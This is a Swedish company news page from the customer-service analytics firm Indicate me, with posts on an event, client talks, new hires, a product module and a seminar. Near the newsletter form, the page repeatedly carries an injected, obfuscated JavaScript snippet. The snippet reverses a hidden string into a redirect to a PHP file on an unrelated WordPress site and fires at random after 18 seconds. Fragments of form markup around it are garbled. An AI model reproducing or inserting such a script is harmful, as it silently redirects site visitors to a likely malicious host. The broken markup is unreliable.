Big mistake. Thank you!

– Ett kostnadsfritt event om misstag på vägen mot succé i kundservice

Torsdagen den 27 september anordnar vi eventet Big mistake. Thank you!  Under eventet kommer erfarna debattörer från Ikea, C More, Trafikförvaltningen, Santander Consumer Bank och Boxer dela med sig av sina misstag på vägen mot succé i kundservice.

  • Paneldebatt 1: Automatisering inom kundtjänst
    Lärdomar vid implementering av t.ex. chatbots och robotics samt diskussion kring områden inom AI för kundservice – vad krävs av organisationen, tekniken och processerna för att få det att lyckas
  • Paneldebatt 2: Attrahera och behålla personal
    Vad krävs för att attrahera rätt personal inom kundservice och hur gör vi för att de ska stanna? Vad bör man inte göra? Diskussion kring utmaningar och arbetssätt för att minska personalomsättningen och underlätta rekryteringen.
  • Paneldebatt 3: Sätta kundservice på agendan
    Hur ska kundservice komma högre upp på agendan inom organisationen? Diskussion kring vad som krävs för att göra kundservice till en central del av företaget.

Praktiskinformation
Datum: 27 september
Starttid: 15:00
Plats: Pipers väg 28, 170 73 Solna
Info & anmälan: Klicka här för att komma till kampanjsidan >> 

Kundfokus in i väggen på Kontaktadagen

Under föredraget på Kontaktadagen berättade Cecilia Gotting, enhetschef på PayEx, om deras resa från totalt kundfokus till processfokus och sedan vägen tillbaka igen.

PayEx erbjuder heltäckande betalningslösningar på den Nordiska marknaden. Med visionen att deras tjänster ska ha högsta kvalitén, säkerheten och pålitligheten, är de fast beslutna om att alla förr eller senare ska betala via PayEx.

Under Kontaktadagen i Stockholm skulle Samuel Lundin, Team Manager på PayEx, föreläsa om Kundfokus in i väggen . Han blev dock fyrbarnspappa ett par dagar innan eventet och Cecilia fick därmed täcka upp.

”Det har varit en lång resa med många utmaningar, men vi har kommit en lång bit på vägen och vi arbetar målmedvetet för att vi ska nå dit vi vill. För att vi ska fortsätta utvecklas krävs det att vi har ett bra systemstöd” , sa Cecilia Gotting under föredraget.

Använder sig av Indicate me
PayEx utför idag sin resultatuppföljning av kundservicen i Indicate me. Här har de all sin kundservicedata samlad på ett ställe:

  • Statistik kring samtal, mail och chatt
  • Kundernas feedback på hanterade ärenden
  • Effektivitet gällande administration och övriga arbetsuppgifter

Det har varit ett stort förändringsarbete med att axla om från internt fokus till externt fokus och att få med alla medarbetare på tåget, vilket Cecilia berättade om på scenen.

Andreas Kimmehed, Customer Success Manager på Indicate me, tycker att PayEx har gjort ett gediget arbete.

– Det har varit stora förändringar för PayEx och såklart även i uppföljningsarbetet. Det är delvis ett nytt tankesätt, men jag tycker att PayEx har antagit Indicate me med stor positivitet och vilja. Det märks att de är motiverade och engagerade att nå hela vägen, vilket är jättekul att se.

Vidare berättar Andreas:

– Som kundansvarig är jag såklart lite extra stolt att Cecilia och PayEx väljer att gästa scenen på Kontaktdagen och berätta om vårt samarbete. Det är alltid kul när våra kunder vill dela med sig om sina upplevelser av Indicate me!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Vi fortsätter att expandera – Vi välkomnar Niklas Bjurman

Niklas Bjurman kliver in i rollen som Sales Manager på Indicate me. I rollen kommer han framförallt att fokusera på att öka tillväxten i bolaget genom försäljning till nya och befintliga kunder.
Niklas kommer närmast från Quinyx, där han arbetat i drygt 10 år och varit med att bygga upp företaget från 6 anställda till nu över 100 anställda.
– Det har varit en riktigt häftig och lärorik resa! Jag tar med mig erfarenheten om hur man kan växa som bolag på bästa sätt, säger Niklas.

Med erfarenhet av att driva sälj, tillväxt och samarbeten, tar Niklas även med sig kunskapen om att arbeta målmedvetet och fokuserat.
– Under alla år på Quinyx har jag arbetat med sälj och ingått samarbeten med många nya kunder, så det får jag säga är min expertis, berättar Niklas.

Hitintills har Niklas fått följande uppfattning av vår verksamhet:
– Indicate me har en fantastisk produkt redan nu. Den kan snabbt påvisa en ROI och hur det går att förbättra sin verksamhet. Alla delar finns på ett och samma ställe, vilket spar mycket tid för användarna.

Avslutningsvis tillägger Niklas:
– Jag ser framemot att bidra med bra stämning på kontoret och att ha kul på jobbet. Mina förväntningar på tillväxt är stor, det finns en jättebra grund i bolaget som vi ska bygga vidare på framåt. Jag är säker på att jag kommer få vara med på en lika häftig resa igen!

Vi på Indicate me hälsar Niklas Bjurman varmt välkommen!

Niklas-bjurman
Niklas Bjurman
Sales Manager
Niklas.bjurman@indicateme.se

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Thomas Cook Northern Europe uppmärksammar Indicate me

I veckan gästade Terje Dahl, Kundservice- och Försäljningschef på Thomas Cook Northern Europe scenen på eventet G-Summit i Stockholm. Under föreläsningen lyfte han upp Indicate me och hur det har hjälpt dem att få en 360 graders vy av kundservice.

Thomas Cook Northern Europe säljer idag resor från Sverige, Danmark, Norge och Finland till över 400 resemål i 50 länder. Traditionellt har bolaget sålt resor via butik, men i takt med den digitala utvecklingen som har skett har bolaget gått över till att utföra all försäljning online. För att supportera onlineförsäljningen har bolaget en intern kundserviceverksamhet dit kunder är välkomna att vända sig med sina frågor och funderingar.

”Systemet från Indicate me har gjort att vi gått från silos till en 360 vy”
Under G-summit, vilket är en konferens som samlar visionärer, partners och industriledare från hela Norden och Baltikum, berättade Terje om de mål som de ville uppnå i sin kundservice, vilket var:

  • Ökad kvalitet
  • Reducerade kostnader genom minskade kontakter
  • Ökad effektivitet för bättre svarstider
  • Ökad försäljning

Det första steget för att uppnå de satta målen var att implementera PureConnect från Genesys som callcenterplattform och därefter Indicate me för att få en komplett uppföljning.

Under föredraget berättade Terje bland annat att de tidigare tog ut ett flertal olika rapporter, från olika system med olika tidsintervall samt att uppföljningen varierade mellan länderna. Idag har de gått från silos till att ha en 360 graders vy av sin kundservice i ett system.

– Thomas Cook Northern Europe har gjort ett fantastiskt målinriktat arbete, vilket har gett dem fina resultat. De har förstått hur man kan använda insikterna man får från Indicate me för att genomföra förbättringar, vilket är precis det vi arbetar för. Vi vill att det ska vara enkelt att gå från insikt till handling, berättar Lina Bjelkmar, VD på Indicate me.

 

 

Möt oss och vår kund Thomas Cook på G-summit den 22/5

Tisdagen den 22 maj sponsrar Indicate me G-summit i Stockholm. På scen kommer Thomas Cook Northern Europe, med varumärken som Ving, prata om deras framgångar med Indicate me.

G-summit är ett event som samlar visionärer, partners och industriledare från hela Norden och Baltikum. Temat för eventet är ”Moments Connected” och fokuserar på friktionslösa kundupplevelser.

– G-summit i Stockholm är ett bra forum att träffa både befintliga och nya kunder som har Genesys plattform, där vi är ett bra komplement. Med Indicate me får användare en komplett uppföljning och full koll på sin kundserviceverksamhet, berättar Lina Bjelkmar, VD på Indicte me.

På scenen kommer bland annat Terje Dahl, kundservice- & försäljningschef på Thomas Cook Northern Europe, att berätta mer om hur de använder Genesys PureConnect-plattform med en integration till Indicate me, som stöd för att möta deras kunders behov samt företagsmål. De har ett stort fokus på att leverera högkvalitativa kundupplevelser, vilket har legat till grund för deras framgång på de nordiska marknaderna.

– Det är väldigt kul att de har lyckats så bra och att de delar med sig av sina framgångar. Ving och de andra nordiska bolagen som ingår i Thomas Cook Northern Europe har haft ett gemensamt, enhetligt och målinriktat arbetssätt för att arbeta strukturerat med kvalitet och effektivitet, vilket har gett dem fina resultat. De utmaningar som de har arbetat med är ofta vanliga inom kundservice och det är väldigt kul att Indicate me har kunnat stödja dem på vägen, säger Lina.

Avslutningsvis tillägger Lina

– När våra kunder får en större kundinsikt och förståelse för nyckeltal samt vad som påverkar dessa, har vi sett att de får alla möjligheter till att lära, utvecklas och förbättras!

Vår kund PayEx gästar scenen på Kontaktadagen

Torsdagen den 24 maj kommer vi att befinna oss på Kontaktadagen i Stockholm. Kontaktadagen är en endagskonferens med fokus på kundservice och försäljning.

Vill du ta ett möte, lunch eller fika i samband med konferensen? Hör gärna av dig till oss. Du är även varmt välkommen att besöka oss i vår monter där vi bland annat kommer att svara på frågor, visa upp vårt system och anordna med tävling.

Vi är även mycket glada och stolta att meddela att vår kund PayEx kommer att gästa scenen på konferensen.

Föreläsning med temat: Kundfokus in i väggen
Betalföretaget PayEx var ett av de mest framgångsrika företagen i en spännande bransch. Framgångsfaktorn var totalt kundfokus. PayEx formade medarbetarteamen och sin organisation utifrån sina kunder. Varje kund hade sitt eget team med personliga kundansvariga med fullt mandat att tillmötesgå kundens önskemål. Kunderna var nöjda. Medarbetarna var nöjda. Eftersom de bara fick säga JA till kunden. Men vad händer när kundfokus leder till att gemensamma interna processer blir fulla av kundanpassade speciallösningar? När system inte kan utvecklas och effektiviseras eftersom man tappat kontrollen på hur systemförändringar påverkar?

Samuel Lundin, Team Manager på PayEx, berättar om vägen från kundfokus till processfokus och sedan vägen tillbaka igen. Tillbaka till kundfokus med kontroll.

Läs mer och boka >>

$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to, sans-serif;”>Nyhetsbrev
Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.

 
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocomplete=”off” maxlength=”512″ name=”Contact.email” required=”required” type=”email” placeholder=”E-post *” /> $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton class=”Button Button–bordered” type=”submit”>Prenumerera$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton>


torAll("input, textarea");for(var s=0;stop.location.href=t;else{var e=document.getElementById(”up-form”),n=document.getElementById(”up-form-thanks”);e.style.display=”none”,n.style.display=”block”,a&&a.push&&a.push([”trackLink”,”https://post.upsales.com/”+f.responseText,”link”]),_uaq&&_uaq(”form=”+f.responseText)}else console.log(”AJAX ERROR”,f.status)}}else{var l=document.getElementById(”recaptcha-error”),c=document.getElementsByClassName(”g-recaptcha”);l.style.display=”none”,c&&c.length&&console.log(”handle this later”)}}var form=document.getElementById(”up-form”);form.addEventListener(”submit”,onSubmit)

  Kontakta oss

Nelly väljer
Indicate me som uppföljningssystem

Indicate me har tecknat avtal med Nelly. Avtalet innebär att Nelly kommer att analysera sin kundservice i systemet från Indicate me.
– Korrelationerna mellan Nelly och Indicate me är många, det är därför med stolthet som jag kan presentera att vi kommer att inleda ett samarbete med Nelly, berättar Lina Bjelkmar, VD på Indicate me.

Nelly, likt Indicate me, är ett bolag som präglas av modernitet, nyfikenhet och att ligga i digital framkant. Båda bolagen ingår i en större koncern som är stabil och etablerad på marknaden.

360° vy av kundservice
Indicate me erbjuder ett komplett och fullständigt uppföljningsverktyg av kundservice.
– En av många fördelar med att använda sig av vårt uppföljningssystem är att vi kan erbjuda verksamheter en 360° vy av sin kundservice. Vi samlar allt på ett ställe, så att man slipper använda sig av flera system, förklarar Lina.

Implementering av systemet är just nu i full gång hos Nelly.
– Nelly är ett trendigt varumärke som ständigt arbetar för att erbjuda sina kunder det senaste modet. Våra förväntningar av systemet är att vi ska få ett helhetsperspektiv av vår service för att kunna optimera våra processer, vilket i slutändan leder till ökad kundnöjdhet, säger Kristian Hagstedt, Customer Service Manager på Nelly.

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Om Nelly.com
Nelly.com och NLYMan.com är en ledande aktör inom mode på nätet för mode- och skönhetsmedvetna tjejer och killar mellan 18 och 35 år. Nelly och NLY MAN inspirerar med nyheter varje dag från några av våra 700 olika varumärken. Här hittar du kläder, skor, underkläder, badkläder, skönhetsprodukter, accessoarer och sportkläder. Vi får in över 300 nya plagg varje dag från internationellt välkända modehus och butikens egna unika varumärken som t.ex. NLY Trend och NLY Shoes, NLY Lingerie och NLY Design.

För mer information
Lina Bjelkmar, VD
Tel. +46 70 370 70 34
Mail. Lina.Bjelkmar@indicateme.se

Nu lanserar vi ny funktionalitet inom modulen Kvalitet

För att få nöjda kunder behövs engagerade och motiverade medarbetare som har möjlighet att utvecklas. Nu lanserar vi ett systemstöd för att hjälpa er på vägen!

Med vår nya funktionalitet inom modulen Kvalitet, får du ett verktyg som underlättar och stöttar utvecklingsprocessen av dina medarbetare. Den nya funktionaliteten ger stöd i att:

  • Arbeta strukturerat med dialogstrategi
  • Genomföra strukturerade medlyssningar
  • Ge konkret och transparent feedback
  • Skapa utvecklingsplaner
  • Planerera in coachtillfällen
  • Sätta agenten i förarsätet av sin egen utveckling

Efterfrågan från våra kunder

Vi på Indicate me drivs av att kontinuerligt utveckla, optimera och förbättra vår produkt.

– Vi vill vara en lyhörd partner och det är viktigt för oss att vår produkt ständigt utvecklas för att följa nya digitala innovationer samt våra kunders önskemål. Vi uppskattar när våra kunder kommer med nya förslag, idéer och önskemål. Ny funktionalitet lanseras i stort sett varje vecka, berättar Jonathan Scherl, Product Development Manager på Indicate me.

Vidare berättar Jonathan:
– Den nya funktionaliteten som lanseras nu är något som våra befintliga kunder har efterfrågat. Vi har bland annat inkluderat ett strukturerat sätt ge och ta del av bedömningar på samtal, mail och chatt. Vi har även skapat visualiseringar av samtalskategorier som agenter kan utveckla eller vad de är riktigt bra på. Här finns även möjlighet att följa olika beteenden inom varje samtalskategori för att se vilka beteenden som driver kundnöjdhet.

Läs mer om modulen Kvalitet >> 

Nu utökar vi vårt team med ytterligare en ny kollega

Vi hälsar vår nya medarbetare Adam Wahrén varmt välkommen till Indicate me.

Adam har närmast arbetat som Business Manager för bland annat Halebops och Bilprovningens kundservice och kliver nu in i rollen som Customer Success Manager på Indicate me.

– Det har varit en lärorik, intensiv och rolig tid att arbeta operativt med kundservice på Releasy. I ryggsäcken tar jag med mig erfarenheten om att arbeta målmedvetet mot satta visioner och att ingenting är omöjligt. Ett av våra mål inom Halebop var att öka kundnöjdheten och däribland lyckades vi att höja vår NPS med +30% på 6 månader. Till vår hjälp hade vi bland annat verktyget från Indicate me och om jag ska vara helt ärlig tror jag inte att vi skulle ha lyckats så bra som vi gjorde utan det systemstödet vi fick, säger Adam.

Vidare berättar han:

– När jag blev kontaktad av Indicate me och fick detta jobberbjudande kunde jag inte tacka nej. Jag vet vilka insikter systemet ger och hur det kan hjälpa till att bidra till förbättringar. Jag ser fram emot att supportera och stödja fler företag att nå sina mål.

I den nya rollen kommer Adam att säkerställa en effektiv, hållbar och långsiktig relation med både existerande såväl som nya kunder.

– I takt med att vi växer är vi i behov av att stärka upp vårt team med nya kompetenta medarbetare. I december stärkte vi upp vårt utvecklingsteam och nu utökar vi även vårt Customer Success team med en ny kollega, berättar Lina Bjelkmar, VD på Indicate me.

Customer Success teamet på Indicate me jobbar bland annat med att stödja kunderna att få ut så mycket som möjligt från systemet.
– Adam har en gedigen erfarenhet av att effektivisera och öka kundnöjdheten inom kundservice och besitter de egenskaper som krävs för att säkra leveransen mot våra kunder, berättar Lina.

Välkommen Adam!

 

Lyckat seminarium om ökad effektivitet och kundnöjdhet i kundservice

I onsdags anordnade Indicate me tillsammans med Chefnätverket Close ett frukostseminarium med temat Kundservice  – effektivisera och öka kundnöjdheten.  

Lina-bjelkmar-chefnatverket-Close-2

Lina Bjelkmar, VD på Indicate me, inledde morgonen med att prata om de utmaningar som flera personer upplever inom kundservice.
1. Tidskrävande uppföljning
Att samla och analysera data är ofta tidskrävande inom kundservice. Det är inte ovanligt att data behöver hämtas från olika system och med olika tidsspann t.ex. per dygn, vecka eller månad.
2. Nyckeltalsdjungeln
Med mycket data möter man ofta utmaningen med att hitta rätt nyckeltal som man bör fokusera på. Vilka nyckeltal ska man fokusera på i kundservice för att hitta rotorsaker som leder till förändring?
3.Motivera medarbetare
Att ha motiverade medarbetare är a och o för att leverera god service. Hur kan man engagera medarbetarna i sin utveckling?

Efter att Lina inlett med de utmaningar som många känner igen sig i presenterade hon hur Indicate me kan hjälpa till för att lösa respektive utmaning.

adam chef natverket closeAdam Wahrén, Business Manager för Halebop, gav oss inblick i hur Halebop har lyckats vinna titeln om Sveriges nöjdaste mobilkunder åtta av de senaste tio åren och vad de har gjort för att öka sin NPS med 30% på 6 månader. Hur gör man för att skapa nöjda kunder?

 

 

Avslutningsvis talade Johan Frodell, VD på Releasy, om hur de gått från negativt resultat till god lönsamhet och samtidigt lyckats behålla kvaliteten inom kundservice. Detta genom att följa upp och optimera den tid som spenderas i kundservice, med fokus på produktivitet och effektivitet.

Frodell-chefnatverket-Close

Kontakta oss